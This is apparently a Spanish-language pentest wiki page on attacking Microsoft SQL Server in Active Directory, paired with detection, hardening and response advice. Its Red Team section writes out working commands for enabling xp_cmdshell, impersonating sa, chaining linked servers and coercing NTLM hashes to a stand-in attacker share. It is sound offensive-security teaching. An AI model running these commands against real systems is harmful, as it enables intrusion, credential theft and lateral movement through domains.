Ataques a MSSQL en AD
Microsoft SQL Server está integrado en Active Directory: usa autenticación de dominio, corre bajo cuentas de servicio (a menudo con privilegios jugosos), y sus servidores se enlazan entre sí con linked servers que confían unos en otros. Para un atacante, un MSSQL es tres cosas a la vez: una vía de ejecución de comandos en el host (via xp_cmdshell), una fuente de credenciales/impersonación (cuentas de servicio, EXECUTE AS), y un puente de movimiento lateral a través de enlaces entre servidores. Muchos caminos a DA pasan por un SQL Server mal configurado.
Modelo de amenaza
Sección titulada «Modelo de amenaza»El error raíz es la confianza: cuentas de dominio con login en SQL, cuentas de servicio SQL con privilegios de impersonación en el host, y linked servers configurados con credenciales de alto privilegio que permiten “saltar” de un SQL a otro ejecutando queries en cadena. Un login de bajo privilegio puede, encadenando impersonación y enlaces, acabar como sa o como SYSTEM en otro servidor.
Red Team
Sección titulada «Red Team»Descubrimiento
Sección titulada «Descubrimiento»# localizar SPNs de SQL en el dominio (MSSQLSvc/...)GetUserSPNs.py dominio/user:pass -dc-ip <DC> | grep MSSQLsetspn -T dominio -Q MSSQLSvc/*# probar acceso con credenciales de dominionxc mssql <host> -u user -p passConexión y enumeración (mssqlclient)
Sección titulada «Conexión y enumeración (mssqlclient)»mssqlclient.py dominio/user:pass@<host> -windows-auth# dentro:SELECT system_user; -- quién soySELECT is_srvrolemember('sysadmin'); -- ¿soy sa?enum_links -- linked servers configuradosenum_impersonate -- a quién puedo EXECUTE ASEjecución de comandos (xp_cmdshell)
Sección titulada «Ejecución de comandos (xp_cmdshell)»Si eres sysadmin (o puedes serlo por impersonación), habilitas y usas xp_cmdshell:
EXEC sp_configure 'show advanced options',1; RECONFIGURE;EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE;EXEC xp_cmdshell 'whoami'; -- ejecuta como la cuenta de servicio SQLLa cuenta de servicio SQL suele tener SeImpersonatePrivilege → de ahí a SYSTEM con Potato (ver Abuso de privilegios y tokens). Alternativas sin xp_cmdshell: sp_OACreate (OLE automation), CLR assemblies, xp_dirtree para coerción.
Escalada por impersonación y roles
Sección titulada «Escalada por impersonación y roles»EXECUTE AS LOGIN = 'sa'; -- si tienes IMPERSONATE sobre sa-- cadena: usuario -> impersona dbo -> impersona sa -> sysadminPermisos mal dados (IMPERSONATE, CONTROL SERVER, membresía en roles) escalan de login normal a sysadmin.
Movimiento lateral por linked servers
Sección titulada «Movimiento lateral por linked servers»Un linked server configurado con credenciales privilegiadas permite ejecutar en el SQL remoto:
EXEC ('SELECT system_user; EXEC xp_cmdshell ''whoami''') AT [LINKED-SQL];-- enlaces encadenables: SQL1 -> SQL2 -> SQL3, escalando en cada saltoCoerción de hash (xp_dirtree / xp_subdirs)
Sección titulada «Coerción de hash (xp_dirtree / xp_subdirs)»EXEC xp_dirtree '\\attacker\share'; -- fuerza a la cuenta de servicio a autenticar→ capturas/relayeas el Net-NTLM de la cuenta de servicio SQL (ver LLMNR / NBT-NS / mDNS Poisoning/NTLM Relay).
Herramientas
Sección titulada «Herramientas»- impacket mssqlclient.py — cliente con comandos de enum/impersonate/links integrados.
- NetExec (nxc) mssql — spray, ejecución,
--local-auth, consultas. - PowerUpSQL — descubrimiento, auditoría y explotación de SQL en AD (Windows).
- mssqlpwner — automatiza cadenas de impersonación y linked servers.
Impacto
Sección titulada «Impacto»Ejecución de comandos en el host SQL (→ SYSTEM vía SeImpersonate), robo de credenciales de la cuenta de servicio, movimiento lateral por enlaces a otros SQL, y coerción de hash hacia relay. Un SQL comprometido es a menudo el trampolín directo hacia el resto del dominio.
Blue Team
Sección titulada «Blue Team»Detección
Sección titulada «Detección»- Habilitación de
xp_cmdshell(sp_configure) y ejecución de comandos desde SQL →sqlservr.exelanzandocmd.exe/powershell.exe(Sysmon 1). - Uso de
xp_dirtree/xp_subdirshacia rutas UNC externas (coerción). EXECUTE ASanómalo, queriesAT [linked]inesperadas, logins de dominio no habituales.
Telemetría
Sección titulada «Telemetría»Auditoría de SQL Server (login auditing, xp_cmdshell events), Sysmon en el host SQL (procesos hijos de sqlservr.exe), y detección de autenticaciones salientes de la cuenta de servicio.
Hardening
Sección titulada «Hardening»- Deshabilita
xp_cmdshell,sp_OACreatey OLE automation; restringe CLR. - Mínimo privilegio en la cuenta de servicio SQL: quítale SeImpersonate si no hace falta; usa gMSA.
- Revisa linked servers: no los configures con credenciales privilegiadas; usa el contexto del usuario, no
sa. - Audita permisos
IMPERSONATE/CONTROL SERVER; no metas cuentas de dominio en sysadmin sin necesidad. - Contraseña fuerte/aleatoria para la cuenta de servicio (Kerberoasting), firma SMB (coerción→relay).
Respuesta
Sección titulada «Respuesta»Deshabilita xp_cmdshell, rota la contraseña de la cuenta de servicio SQL, revisa linked servers y permisos, y busca ejecución/persistencia dejada desde SQL (jobs, CLR, triggers).
CVEs y casos reales
Sección titulada «CVEs y casos reales»- La mayoría son abusos de configuración, no CVEs (MITRE T1505, T1210, T1078).
- PowerUpSQL (Scott Sutherland/NetSPI) documentó extensamente las cadenas de impersonación y linked servers.
- Cadenas SQL→SYSTEM→dominio aparecen habitualmente en informes de pentest interno y en intrusiones donde el SQL era el servicio más accesible.
Checklist de prueba
Sección titulada «Checklist de prueba»- Localizar SQL por SPN (MSSQLSvc) y probar acceso con creds de dominio
- ¿Soy sysadmin? ¿puedo serlo por impersonación? (
enum_impersonate) -
xp_cmdshellhabilitable → ejecución como cuenta de servicio - ¿La cuenta de servicio tiene SeImpersonate? → SYSTEM (Potato)
- Linked servers encadenables (
enum_links) → lateral -
xp_dirtreepara coerción → captura/relay de Net-NTLM - Kerberoasting de la cuenta de servicio SQL
- Blue: ¿xp_cmdshell deshabilitado y gMSA en uso?